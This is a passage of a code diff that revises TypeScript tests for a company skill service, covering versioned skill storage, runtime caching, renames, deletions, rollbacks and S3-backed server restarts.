...Array.from({ length: 20 }, (_, index) => ({ path: `references/${index}.md`, kind: "reference" as const, content: "a".repeat(40) }))] });
|
||||
return { companyId, skillId, key: `company/${companyId}/cached` };
|
||||
}
|
||||
|
||||
it("refreshes once, reuses pinned runtime contents across service instances, and ignores cosmetic changes", async () => {
|
||||
it("reads installed versions without upstream access and ignores cosmetic provenance changes", async () => {
|
||||
const { companyId, skillId, key } = await createPinnedRuntimeFixture();
|
||||
const upstream = vi.fn(async (url: string | URL) => new Response(String(url)));
|
||||
const upstream = vi.fn().mockRejectedValue(new Error("Upstream unavailable"));
|
||||
vi.stubGlobal("fetch", upstream);
|
||||
const select = vi.spyOn(db, "select");
|
||||
try {
|
||||
const cold = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!;
|
||||
const cold = (await svc.listRuntimeSkillEntries(companyId)).find(entry => entry.key === key)!;
|
||||
expect(cold.sourceStatus).toBe("available");
|
||||
expect(select.mock.calls.filter(([fields]) => fields && Object.keys(fields).length === 1 && fields.id === companies.id)).toHaveLength(1);
|
||||
expect(upstream).toHaveBeenCalledTimes(21);
|
||||
expect(new Set(upstream.mock.calls.map(([url]) => String(url))).size).toBe(21);
|
||||
const before = await fs.stat(path.join(cold.source, "SKILL.md"));
|
||||
upstream.mockClear();
|
||||
upstream.mockRejectedValue(new Error("Upstream outage"));
|
||||
await db.update(companySkills).set({ name: "New display label", updatedAt: new Date(), metadata: { owner: "acme", repo: "cache", repoSkillDir: ".", trackingRef: "main", starred: true } }).where(eq(companySkills.id, skillId));
|
||||
const warm = (await companySkillService(db).listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!;
|
||||
expect(warm).toEqual(cold);
|
||||
await db.update(companySkills).set({ name: "New display label", sourceRef: "b".repeat(40) }).where(eq(companySkills.id, skillId));
|
||||
expect((await companySkillService(db).listRuntimeSkillEntries(companyId)).find(entry => entry.key === key)).toEqual(cold);
|
||||
expect(await fs.readFile(path.join(cold.source, "references/0.md"), "utf8")).toBe("a".repeat(40));
|
||||
expect(upstream).not.toHaveBeenCalled();
|
||||
expect((await fs.stat(path.join(warm.source, "SKILL.md"))).mtimeMs).toBe(before.mtimeMs);
|
||||
const readOnly = (await svc.listRuntimeSkillEntries(companyId, { materializeMissing: false })).find((entry) => entry.key === key)!;
|
||||
expect(readOnly).toEqual(warm);
|
||||
await db.update(companySkills).set({ sourceRef: "b".repeat(40) }).where(eq(companySkills.id, skillId));
|
||||
expect((await svc.listRuntimeSkillEntries(companyId, { materializeMissing: false })).find((entry) => entry.key === key)!.sourceStatus).toBe("missing");
|
||||
expect(upstream).not.toHaveBeenCalled();
|
||||
// An unavailable newly installed revision must never use the older cache.
|
||||
expect((await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!.sourceStatus).toBe("missing");
|
||||
expect(await fs.readFile(path.join(cold.source, "references/0.md"), "utf8")).toContain("a".repeat(40));
|
||||
upstream.mockImplementation(async (url) => new Response(String(url)));
|
||||
const next = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!;
|
||||
expect(next.sourceStatus).toBe("available");
|
||||
expect(next.source).not.toBe(cold.source);
|
||||
expect(await fs.readFile(path.join(next.source, "references/0.md"), "utf8")).toContain("b".repeat(40));
|
||||
expect(await fs.readFile(path.join(cold.source, "references/0.md"), "utf8")).toContain("a".repeat(40));
|
||||
} finally { select.mockRestore(); vi.unstubAllGlobals(); }
|
||||
} finally { vi.unstubAllGlobals(); }
|
||||
});
|
||||
|
||||
it("deduplicates runtime downloads for twenty concurrent service callers and isolates companies", async () => {
|
||||
it("shares immutable materializations for twenty concurrent callers and isolates companies", async () => {
|
||||
const first = await createPinnedRuntimeFixture();
|
||||
const second = await createPinnedRuntimeFixture();
|
||||
const upstream = vi.fn(async (url: string | URL) => new Response(String(url)));
|
||||
@@ -155,10 +136,10 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
const sources = batches.map((entries) => entries.find((entry) => entry.key === first.key)!);
|
||||
expect(sources.every((entry) => entry.sourceStatus === "available")).toBe(true);
|
||||
expect(new Set(sources.map((entry) => entry.source)).size).toBe(1);
|
||||
expect(upstream).toHaveBeenCalledTimes(21);
|
||||
expect(upstream).not.toHaveBeenCalled();
|
||||
const other = (await svc.listRuntimeSkillEntries(second.companyId)).find((entry) => entry.key === second.key)!;
|
||||
expect(other.source).not.toBe(sources[0].source);
|
||||
expect(upstream).toHaveBeenCalledTimes(42);
|
||||
expect(upstream).not.toHaveBeenCalled();
|
||||
} finally { vi.unstubAllGlobals(); }
|
||||
});
|
||||
|
||||
@@ -198,14 +179,16 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
expect(await svc.getById(companyId, skill.id)).not.toBeNull();
|
||||
} finally { lockFailure.mockRestore(); }
|
||||
await svc.deleteSkill(companyId, skill.id);
|
||||
await expect(fs.stat(path.dirname(path.dirname(next.source)))).rejects.toMatchObject({ code: "ENOENT" });
|
||||
expect(await db.select().from(companySkillVersions).where(eq(companySkillVersions.companySkillId, skill.id))).toEqual([]);
|
||||
} finally { vi.unstubAllGlobals(); }
|
||||
});
|
||||
|
||||
it("observes edits to a direct local source on the next preparation", async () => {
|
||||
const companyId = randomUUID();
|
||||
await db.insert(companies).values({ id: companyId, name: "Local cache", issuePrefix: `T${companyId.slice(0, 6)}` });
|
||||
const skill = await svc.createLocalSkill(companyId, { name: "Local source", slug: "local-source" });
|
||||
const directory = await createManagedSkillDir(companyId, "linked-local-");
|
||||
await fs.writeFile(path.join(directory, "SKILL.md"), "---\nname: local-source\n---\nLocal source\n");
|
||||
const skill = (await svc.importFromSource(companyId, directory)).imported[0]!;
|
||||
const first = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === skill.key)!;
|
||||
await fs.appendFile(path.join(first.source, "SKILL.md"), "\nNew local instructions\n");
|
||||
const next = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === skill.key)!;
|
||||
@@ -226,7 +209,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
expect(results.filter((result) => result.status === "rejected")).toHaveLength(1);
|
||||
const skill = await svc.getByKey(companyId, `company/${companyId}/same-slug`);
|
||||
expect(skill).toBeTruthy();
|
||||
expect(await fs.readFile(path.join(skill!.sourceLocator!, "SKILL.md"), "utf8"))
|
||||
expect((await svc.readFile(companyId, skill!.id, "SKILL.md"))!.content)
|
||||
.toMatch(/^# (first|second)\n$/);
|
||||
expect(await db.select().from(companySkillVersions).where(eq(companySkillVersions.companySkillId, skill!.id)))
|
||||
.toHaveLength(1);
|
||||
@@ -242,8 +225,8 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
})).rejects.toThrow("simulate outer rollback");
|
||||
|
||||
const retried = await svc.createLocalSkill(companyId, input);
|
||||
expect(await fs.readFile(path.join(retried.sourceLocator!, "SKILL.md"), "utf8")).toBe(input.markdown);
|
||||
expect(await db.select().from(companySkills).where(eq(companySkills.companyId, companyId))).toHaveLength(1);
|
||||
expect((await svc.readFile(companyId, retried.id, "SKILL.md"))!.content).toBe(input.markdown);
|
||||
expect(await db.select().from(companySkills).where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "managed")))).toHaveLength(1);
|
||||
expect(await db.select().from(companySkillVersions).where(eq(companySkillVersions.companySkillId, retried.id))).toHaveLength(1);
|
||||
});
|
||||
|
||||
@@ -254,9 +237,9 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
await svc.deleteSkill(companyId, original.id);
|
||||
const replacement = await svc.createLocalSkill(companyId, { name: "Recreate", slug: "recreate", markdown: "# New instructions\n" });
|
||||
expect(replacement.id).not.toBe(original.id);
|
||||
expect(await fs.readFile(path.join(replacement.sourceLocator!, "SKILL.md"), "utf8")).toBe("# New instructions\n");
|
||||
expect((await svc.readFile(companyId, replacement.id, "SKILL.md"))!.content).toBe("# New instructions\n");
|
||||
expect(await svc.deleteSkill(companyId, original.id)).toBeNull();
|
||||
expect(await fs.readFile(path.join(replacement.sourceLocator!, "SKILL.md"), "utf8")).toBe("# New instructions\n");
|
||||
expect((await svc.readFile(companyId, replacement.id, "SKILL.md"))!.content).toBe("# New instructions\n");
|
||||
});
|
||||
|
||||
it.each(["save", "delete", "rename"] as const)("rejects a stale file %s after the skill is replaced", async (operation) => {
|
||||
@@ -316,59 +299,38 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
expect(movedReplacementPaths).toEqual([]);
|
||||
expect(intercepted).toBe(true);
|
||||
expect(replacement).toBeDefined();
|
||||
expect(await fs.readFile(path.join(replacement!.sourceLocator!, "notes.md"), "utf8")).toBe("Replacement notes");
|
||||
expect((await svc.readFile(companyId, replacement!.id, "notes.md"))!.content).toBe("Replacement notes");
|
||||
expect(await svc.getById(companyId, replacement!.id)).not.toBeNull();
|
||||
});
|
||||
|
||||
it("restores managed source files when the deletion transaction fails", async () => {
|
||||
it("retains the committed managed version when deletion rolls back", async () => {
|
||||
const companyId = randomUUID();
|
||||
await db.insert(companies).values({ id: companyId, name: "Delete rollback", issuePrefix: `T${companyId.slice(0, 6)}` });
|
||||
const original = await svc.createLocalSkill(companyId, { name: "Retained", slug: "retained", markdown: "# Keep these instructions\n" });
|
||||
const failingDb = new Proxy(db, {
|
||||
get(target, property, receiver) {
|
||||
if (property === "transaction") return (callback: (tx: any) => Promise<unknown>) => target.transaction(async (tx) => callback(new Proxy(tx, {
|
||||
get(transaction, key, transactionReceiver) {
|
||||
if (key === "delete") return () => { throw new Error("Deletion write failed"); };
|
||||
return Reflect.get(transaction, key, transactionReceiver);
|
||||
},
|
||||
})));
|
||||
return Reflect.get(target, property, receiver);
|
||||
},
|
||||
});
|
||||
await expect(companySkillService(failingDb).deleteSkill(companyId, original.id)).rejects.toThrow("Deletion write failed");
|
||||
expect(await svc.getById(companyId, original.id)).not.toBeNull();
|
||||
expect(await fs.readFile(path.join(original.sourceLocator!, "SKILL.md"), "utf8")).toBe("# Keep these instructions\n");
|
||||
await seedCompany(companyId);
|
||||
const original = await svc.createLocalSkill(companyId, { name: "Retained", markdown: "# Keep these instructions\n" });
|
||||
await expect(svc.deleteSkills(companyId, [original.id], async () => { throw new Error("Deletion write failed"); }))
|
||||
.rejects.toThrow("Deletion write failed");
|
||||
expect(await svc.readFile(companyId, original.id, "SKILL.md"))
|
||||
.toMatchObject({ versionId: original.currentVersionId, content: "# Keep these instructions\n" });
|
||||
});
|
||||
|
||||
it("serializes duplicate deletes with recreation without removing new files", async () => {
|
||||
it("serializes duplicate deletes with recreation without removing the new identity", async () => {
|
||||
const companyId = randomUUID();
|
||||
await db.insert(companies).values({ id: companyId, name: "Delete concurrency", issuePrefix: `T${companyId.slice(0, 6)}` });
|
||||
await seedCompany(companyId);
|
||||
const original = await svc.createLocalSkill(companyId, { name: "Concurrent", slug: "concurrent-delete", markdown: "# Old\n" });
|
||||
let release!: () => void;
|
||||
let staged!: () => void;
|
||||
const gate = new Promise<void>((resolve) => { release = resolve; });
|
||||
const ready = new Promise<void>((resolve) => { staged = resolve; });
|
||||
const rename = fs.rename.bind(fs);
|
||||
const pause = vi.spyOn(fs, "rename").mockImplementation(async (source, target) => {
|
||||
await rename(source, target);
|
||||
if (source === original.sourceLocator) {
|
||||
staged();
|
||||
await gate;
|
||||
}
|
||||
});
|
||||
let release!: () => void, staged!: () => void;
|
||||
const gate = new Promise<void>(resolve => { release = resolve; });
|
||||
const ready = new Promise<void>(resolve => { staged = resolve; });
|
||||
const deletion = svc.deleteSkills(companyId, [original.id], async () => { staged(); await gate; });
|
||||
try {
|
||||
const deletion = svc.deleteSkill(companyId, original.id);
|
||||
await ready;
|
||||
const duplicate = svc.deleteSkill(companyId, original.id);
|
||||
const creation = svc.createLocalSkill(companyId, { name: "Replacement", slug: original.slug, markdown: "# Replacement\n" });
|
||||
release();
|
||||
const [, repeatedDelete, replacement] = await Promise.all([deletion, duplicate, creation]);
|
||||
expect(repeatedDelete).toBeNull();
|
||||
expect(await fs.readFile(path.join(replacement.sourceLocator!, "SKILL.md"), "utf8")).toBe("# Replacement\n");
|
||||
} finally {
|
||||
release();
|
||||
pause.mockRestore();
|
||||
}
|
||||
expect(replacement.id).not.toBe(original.id);
|
||||
expect((await svc.readFile(companyId, replacement.id, "SKILL.md"))!.content).toBe("# Replacement\n");
|
||||
} finally { release(); }
|
||||
});
|
||||
|
||||
it("does not remove imported local source files when deleting a skill", async () => {
|
||||
@@ -382,23 +344,14 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
expect(await fs.readFile(path.join(source, "SKILL.md"), "utf8")).toBe(markdown);
|
||||
});
|
||||
|
||||
it("rejects a differing retry after rollback without changing durable bytes", async () => {
|
||||
it("permits a fresh create after rollback without adopting the orphaned candidate", async () => {
|
||||
const companyId = randomUUID();
|
||||
await db.insert(companies).values({ id: companyId, name: "Rollback conflict", issuePrefix: `T${companyId.slice(0, 6)}` });
|
||||
const original = { name: "Original", slug: "rollback-conflict", markdown: "# original bytes\n" };
|
||||
await expect(db.transaction(async (tx) => {
|
||||
await companySkillService(tx as any, { packageDb: db }).createLocalSkill(companyId, original);
|
||||
throw new Error("simulate outer rollback");
|
||||
})).rejects.toThrow("simulate outer rollback");
|
||||
|
||||
await expect(svc.createLocalSkill(companyId, {
|
||||
name: "Different",
|
||||
slug: original.slug,
|
||||
markdown: "# changed bytes\n",
|
||||
})).rejects.toMatchObject({ status: 409 });
|
||||
const managedRoot = path.join(paperclipHome!, "instances", "default", "skills", companyId);
|
||||
expect(await fs.readFile(path.join(managedRoot, original.slug, "SKILL.md"), "utf8")).toBe(original.markdown);
|
||||
expect(await db.select().from(companySkills).where(eq(companySkills.companyId, companyId))).toHaveLength(0);
|
||||
await seedCompany(companyId);
|
||||
await expect(svc.createLocalSkill(companyId, { name: "Original", slug: "rolled-back", markdown: "# orphan\n" }, null,
|
||||
{ afterPublish: async () => { throw new Error("rollback"); } })).rejects.toThrow("rollback");
|
||||
const saved = await svc.createLocalSkill(companyId, { name: "Different", slug: "rolled-back", markdown: "# committed\n" });
|
||||
expect((await svc.readFile(companyId, saved.id, "SKILL.md"))!.content).toBe("# committed\n");
|
||||
expect(await db.select().from(companySkills).where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "managed")))).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("does not adopt an unrelated preexisting managed directory", async () => {
|
||||
@@ -409,20 +362,20 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
await fs.mkdir(skillDir, { recursive: true });
|
||||
await fs.writeFile(path.join(skillDir, "SKILL.md"), "# unrelated\n", "utf8");
|
||||
|
||||
await expect(svc.createLocalSkill(companyId, {
|
||||
name: "Requested",
|
||||
slug: "occupied",
|
||||
markdown: "# requested\n",
|
||||
})).rejects.toMatchObject({ status: 409 });
|
||||
const saved = await svc.createLocalSkill(companyId, {
|
||||
name: "Requested", slug: "occupied", markdown: "# requested\n",
|
||||
});
|
||||
expect((await svc.readFile(companyId, saved.id, "SKILL.md"))!.content).toBe("# requested\n");
|
||||
expect(await fs.readFile(path.join(skillDir, "SKILL.md"), "utf8")).toBe("# unrelated\n");
|
||||
expect(await db.select().from(companySkills).where(eq(companySkills.companyId, companyId))).toHaveLength(0);
|
||||
expect(await db.select().from(companySkills).where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "managed")))).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("observes supporting-only local file saves across runtime preparations and service restarts", async () => {
|
||||
const companyId = randomUUID();
|
||||
await db.insert(companies).values({ id: companyId, name: "Local supporting files", issuePrefix: `T${companyId.slice(0, 6)}` });
|
||||
const skill = await svc.createLocalSkill(companyId, { name: "Local references", slug: "local-references" });
|
||||
const source = skill.sourceLocator!;
|
||||
const source = await createManagedSkillDir(companyId, "local-references-");
|
||||
await fs.writeFile(path.join(source, "SKILL.md"), "---\nname: local-references\n---\nRead reference.md\n");
|
||||
const skill = (await svc.importFromSource(companyId, source)).imported[0]!;
|
||||
await fs.writeFile(path.join(source, "reference.md"), "Original supporting file");
|
||||
await db.update(companySkills).set({
|
||||
fileInventory: [...skill.fileInventory, { path: "reference.md", kind: "reference" }],
|
||||
@@ -843,7 +796,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
await svc.list(companyId);
|
||||
await svc.list(companyId);
|
||||
const before = await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId));
|
||||
const original = before[0]!;
|
||||
const original = before.find(version => version.releaseId)!;
|
||||
await db.delete(companySkillVersions).where(eq(companySkillVersions.id, original.id));
|
||||
await companySkillService(db).list(companyId);
|
||||
const after = await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId));
|
||||
@@ -859,7 +812,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
await db.insert(companies).values({ id: companyId, name: "Release integrity checks", issuePrefix: "RIC" });
|
||||
await svc.list(companyId);
|
||||
await svc.list(companyId);
|
||||
const [version] = await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId));
|
||||
const version = (await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId))).find(row => row.releaseId)!;
|
||||
const changed = [{ path: "SKILL.md", kind: "skill" as const, content: "Changed stored snapshot" }];
|
||||
await db.update(companySkillVersions).set({ fileInventory: changed }).where(eq(companySkillVersions.id, version!.id));
|
||||
await expect(companySkillService(db).list(companyId)).rejects.toThrow("does not match its seeded snapshot");
|
||||
@@ -883,14 +836,14 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
if (!paperclipSkill) throw new Error("Expected bundled Paperclip skill");
|
||||
|
||||
const versions = await svc.listVersions(companyId, paperclipSkill.id);
|
||||
expect(versions.map((version) => version.releaseId).sort()).toEqual(["v0", "v7-roster"]);
|
||||
expect(versions).toHaveLength(2);
|
||||
expect(versions.flatMap(version => version.releaseId ? [version.releaseId] : []).sort()).toEqual(["v0", "v7-roster"]);
|
||||
expect(versions).toHaveLength(3);
|
||||
const storedSkill = await db
|
||||
.select({ currentVersionId: companySkills.currentVersionId })
|
||||
.from(companySkills)
|
||||
.where(eq(companySkills.id, paperclipSkill.id))
|
||||
.then((rows) => rows[0]);
|
||||
expect(storedSkill?.currentVersionId).toBeNull();
|
||||
expect(versions.some(version => version.id === storedSkill?.currentVersionId)).toBe(true);
|
||||
|
||||
const champion = versions.find((version) => version.releaseId === "v7-roster");
|
||||
expect(champion).toMatchObject({
|
||||
@@ -1750,7 +1703,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
const normalizedForkSlug = `${sourceType.replace("_", "-")}-skill-fork`;
|
||||
expect(first.skill).toMatchObject({
|
||||
slug: normalizedForkSlug,
|
||||
sourceType: "local_path",
|
||||
sourceType: "managed",
|
||||
forkedFromSkillId: source!.id,
|
||||
});
|
||||
expect(second.skill.slug).toBe(`${normalizedForkSlug}-2`);
|
||||
@@ -3324,7 +3277,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
return `${slug}--${createHash("sha256").update(key).digest("hex").slice(0, 10)}`;
|
||||
}
|
||||
|
||||
it("renames a Paperclip-managed skill, moving the directory and rewriting SKILL.md frontmatter", async () => {
|
||||
it("renames a Paperclip-managed skill by publishing new frontmatter with preserved history", async () => {
|
||||
const companyId = randomUUID();
|
||||
await seedCompany(companyId);
|
||||
const skill = await svc.createLocalSkill(
|
||||
@@ -3332,8 +3285,6 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
{ name: "Prepare PR", slug: "prepare-pr", description: "Prep pull requests" },
|
||||
{ type: "user", userId: "board" },
|
||||
);
|
||||
const oldDir = skill.sourceLocator!;
|
||||
const managedRoot = path.dirname(oldDir);
|
||||
|
||||
const result = await svc.renameSkill(companyId, skill.id, { name: "Ship PR", slug: "ship-pr" });
|
||||
|
||||
@@ -3350,10 +3301,8 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
},
|
||||
});
|
||||
|
||||
const newDir = path.join(managedRoot, "ship-pr");
|
||||
expect(result.skill.sourceLocator).toBe(newDir);
|
||||
await expect(fs.stat(oldDir)).rejects.toMatchObject({ code: "ENOENT" });
|
||||
const renamedMarkdown = await fs.readFile(path.join(newDir, "SKILL.md"), "utf8");
|
||||
expect(result.skill.sourceLocator).toBeNull();
|
||||
const renamedMarkdown = (await svc.readFile(companyId, skill.id, "SKILL.md"))!.content;
|
||||
expect(renamedMarkdown).toContain("name: Ship PR");
|
||||
expect(renamedMarkdown).not.toContain("name: Prepare PR");
|
||||
|
||||
@@ -3362,16 +3311,16 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
expect(persisted).toMatchObject({ description: "Prep pull requests" });
|
||||
expect(persisted?.markdown).toBe(renamedMarkdown);
|
||||
const versions = await svc.listVersions(companyId, skill.id);
|
||||
expect(versions).toHaveLength(1);
|
||||
expect(versions).toHaveLength(2);
|
||||
});
|
||||
|
||||
it("quotes YAML-special names while keeping stored and on-disk markdown synchronized", async () => {
|
||||
it("quotes YAML-special names in both the version and metadata projection", async () => {
|
||||
const companyId = randomUUID();
|
||||
await seedCompany(companyId);
|
||||
const skill = await svc.createLocalSkill(companyId, { name: "Prepare PR", slug: "prepare-pr" });
|
||||
|
||||
const result = await svc.renameSkill(companyId, skill.id, { name: "Ship: PR #1", slug: "ship-pr" });
|
||||
const markdown = await fs.readFile(path.join(result.skill.sourceLocator!, "SKILL.md"), "utf8");
|
||||
const markdown = (await svc.readFile(companyId, skill.id, "SKILL.md"))!.content;
|
||||
const persisted = await svc.getById(companyId, skill.id);
|
||||
|
||||
expect(markdown).toContain('name: "Ship: PR #1"');
|
||||
@@ -3379,7 +3328,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
expect(persisted?.markdown).toBe(markdown);
|
||||
});
|
||||
|
||||
it("supports a name-only rename that keeps the slug/key and directory", async () => {
|
||||
it("supports a name-only rename that keeps the slug and key", async () => {
|
||||
const companyId = randomUUID();
|
||||
await seedCompany(companyId);
|
||||
const skill = await svc.createLocalSkill(
|
||||
@@ -3398,7 +3347,7 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
key: `company/${companyId}/prepare-pr`,
|
||||
sourceLocator: dir,
|
||||
});
|
||||
const markdown = await fs.readFile(path.join(dir, "SKILL.md"), "utf8");
|
||||
const markdown = (await svc.readFile(companyId, skill.id, "SKILL.md"))!.content;
|
||||
expect(markdown).toContain("name: Prepare Pull Request");
|
||||
});
|
||||
|
||||
@@ -3596,21 +3545,17 @@ describeEmbeddedPostgres("companySkillService.list", () => {
|
||||
expect(other.paperclipSkillSync.desiredSkills).toEqual([`company/${companyId}/unrelated`]);
|
||||
});
|
||||
|
||||
it("removes the old runtime materialization when the key/slug changes", async () => {
|
||||
it("resolves a saved version by stable identity after a rename", async () => {
|
||||
const companyId = randomUUID();
|
||||
await seedCompany(companyId);
|
||||
const skill = await svc.createLocalSkill(companyId, { name: "Runtime Skill", slug: "runtime-skill" });
|
||||
const managedRoot = path.dirname(skill.sourceLocator!);
|
||||
const oldRuntimeDir = path.join(managedRoot, "__runtime__", runtimeSkillName(skill.key, skill.slug));
|
||||
await fs.mkdir(oldRuntimeDir, { recursive: true });
|
||||
await fs.writeFile(path.join(oldRuntimeDir, "SKILL.md"), "# stale\n", "utf8");
|
||||
|
||||
const revisionCacheRoot = path.join(managedRoot, "__runtime_cache_v1__", skill.id);
|
||||
await fs.mkdir(revisionCacheRoot, { recursive: true });
|
||||
await fs.writeFile(path.join(revisionCacheRoot, "old-cache"), "stale");
|
||||
await svc.renameSkill(companyId, skill.id, { name: "Runtime Skill", slug: "runtime-renamed" });
|
||||
await expect(fs.stat(revisionCacheRoot)).rejects.toMatchObject({ code: "ENOENT" });
|
||||
|
||||
await expect(fs.stat(oldRuntimeDir)).rejects.toMatchObject({ code: "ENOENT" });
|
||||
const [before] = await svc.listRuntimeSkillEntries(companyId, { onlyKeys: new Set([skill.key]), snapshotLatest: true });
|
||||
const renamed = await svc.renameSkill(companyId, skill.id, { name: "Renamed Skill", slug: "runtime-renamed" });
|
||||
const [pinned] = await svc.listRuntimeSkillEntries(companyId, { onlyKeys: new Set([skill.key]), snapshotLatest: true,
|
||||
versionSelections: new Map([[skill.key, before!.versionId!]]) });
|
||||
expect(pinned).toMatchObject({ key: skill.key, versionId: before!.versionId, runtimeName: before!.runtimeName });
|
||||
expect(await fs.readFile(path.join(pinned!.source, "SKILL.md"), "utf8")).toBe(skill.markdown);
|
||||
expect(renamed.skill.currentVersionId).not.toBe(before!.versionId);
|
||||
});
|
||||
|
||||
});
|
||||
@@ -91,6 +91,20 @@ describe("readConfigFile", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("preserves explicit bucket provenance without changing defaults for existing readers", () => {
|
||||
for (const bucket of [undefined, "paperclip"]) {
|
||||
writeConfig(configPath, {
|
||||
...minimalConfig() as object,
|
||||
storage: { provider: "s3", s3: bucket === undefined ? {} : { bucket } },
|
||||
});
|
||||
expect(readConfigFile()?.storage.s3.bucket).toBe("paperclip");
|
||||
expect(readConfigFile({ includeProvenance: true })).toMatchObject({
|
||||
config: { storage: { s3: { bucket: "paperclip" } } },
|
||||
explicitStorageS3Bucket: bucket !== undefined,
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
it("warns about likely misspellings without stripping them", () => {
|
||||
const config = {
|
||||
...(minimalConfig() as Record<string, unknown>),
|
||||
|
||||
@@ -103,9 +103,7 @@ describeDatabase("environment managed skills", () => {
|
||||
const events = () => db.select().from(resourceLifecycleEvents).where(and(eq(resourceLifecycleEvents.companyId, companyId), eq(resourceLifecycleEvents.resourceType, "agent_runtime")));
|
||||
const before = (await events()).length;
|
||||
const edited = skill.markdown + "\nCompany edit.";
|
||||
await fs.chmod(path.join(skill.sourceLocator!, "SKILL.md"), 0o600);
|
||||
await fs.writeFile(path.join(skill.sourceLocator!, "SKILL.md"), edited);
|
||||
await db.update(companySkills).set({ markdown: edited }).where(eq(companySkills.id, skill.id));
|
||||
await companySkillService(db).updateFile(companyId, skill.id, "SKILL.md", edited);
|
||||
expect((await events()).slice(before).map(event => event.resourceId)).toEqual([agent.id]);
|
||||
const refreshed = (await pluginAgentRuntimeState(db, pluginId, companyId, agent.id, undefined, true))!.skills[0];
|
||||
expect(refreshed.versionId).not.toBe(runtime.versionId);
|
||||
|
||||
@@ -0,0 +1,169 @@
|
||||
import { fork, type ChildProcess } from "node:child_process";
|
||||
import { once } from "node:events";
|
||||
import { randomUUID } from "node:crypto";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import { promises as fs } from "node:fs";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { beforeAll, afterAll, describe, expect, it } from "vitest";
|
||||
import { S3Client, CreateBucketCommand, DeleteBucketCommand, ListObjectsV2Command, DeleteObjectsCommand } from "@aws-sdk/client-s3";
|
||||
import { companies, createDb } from "@paperclipai/db";
|
||||
import { startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
|
||||
import { removeRuntimeAssetTree } from "../services/native-runtime/runtime-asset-retention.js";
|
||||
|
||||
type Server = { child: ChildProcess; url: string; home: string; rpc(method: string, input?: Record<string, unknown>): Promise<any> };
|
||||
const enabled = Boolean(process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL && process.env.PAPERCLIP_TEST_S3_ENDPOINT);
|
||||
describe.skipIf(!enabled)("skills survive web-server replacement", () => {
|
||||
let database: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>>;
|
||||
let db: ReturnType<typeof createDb>;
|
||||
let root: string;
|
||||
let s3: S3Client;
|
||||
const bucket = `paperclip-skills-${randomUUID()}`;
|
||||
const servers: Server[] = [];
|
||||
beforeAll(async () => {
|
||||
database = await startEmbeddedPostgresTestDatabase("ephemeral-skills-");
|
||||
db = createDb(database.connectionString);
|
||||
root = await fs.mkdtemp(path.join(os.tmpdir(), "ephemeral-skills-process-"));
|
||||
s3 = new S3Client({ region: "us-east-1", endpoint: process.env.PAPERCLIP_TEST_S3_ENDPOINT, forcePathStyle: true });
|
||||
await s3.send(new CreateBucketCommand({ Bucket: bucket }));
|
||||
}, 90_000);
|
||||
async function stop(server: Server) {
|
||||
if (server.child.exitCode === null && server.child.signalCode === null) {
|
||||
const exited = once(server.child, "exit");
|
||||
server.child.kill("SIGKILL");
|
||||
await exited;
|
||||
}
|
||||
}
|
||||
afterAll(async () => {
|
||||
await Promise.all(servers.map(stop));
|
||||
await db?.$client.end({ timeout: 1 });
|
||||
await database?.cleanup();
|
||||
if (s3) {
|
||||
while (true) {
|
||||
const objects = await s3.send(new ListObjectsV2Command({ Bucket: bucket }));
|
||||
if (!objects.Contents?.length) break;
|
||||
await s3.send(new DeleteObjectsCommand({ Bucket: bucket, Delete: { Objects: objects.Contents.map(object => ({ Key: object.Key! })) } }));
|
||||
}
|
||||
await s3.send(new DeleteBucketCommand({ Bucket: bucket }));
|
||||
s3.destroy();
|
||||
}
|
||||
if (root) await removeRuntimeAssetTree(root);
|
||||
}, 90_000);
|
||||
async function start(name: string): Promise<Server> {
|
||||
const home = path.join(root, name);
|
||||
const child = fork(fileURLToPath(new URL("./helpers/ephemeral-skills-server.ts", import.meta.url)), [], {
|
||||
execArgv: ["--import", fileURLToPath(import.meta.resolve("tsx"))], stdio: ["ignore", "pipe", "pipe", "ipc"],
|
||||
env: { ...process.env, DATABASE_URL: database.connectionString, PAPERCLIP_HOME: home, PAPERCLIP_INSTANCE_ID: "default",
|
||||
PAPERCLIP_STORAGE_PROVIDER: "s3", PAPERCLIP_STORAGE_S3_BUCKET: bucket,
|
||||
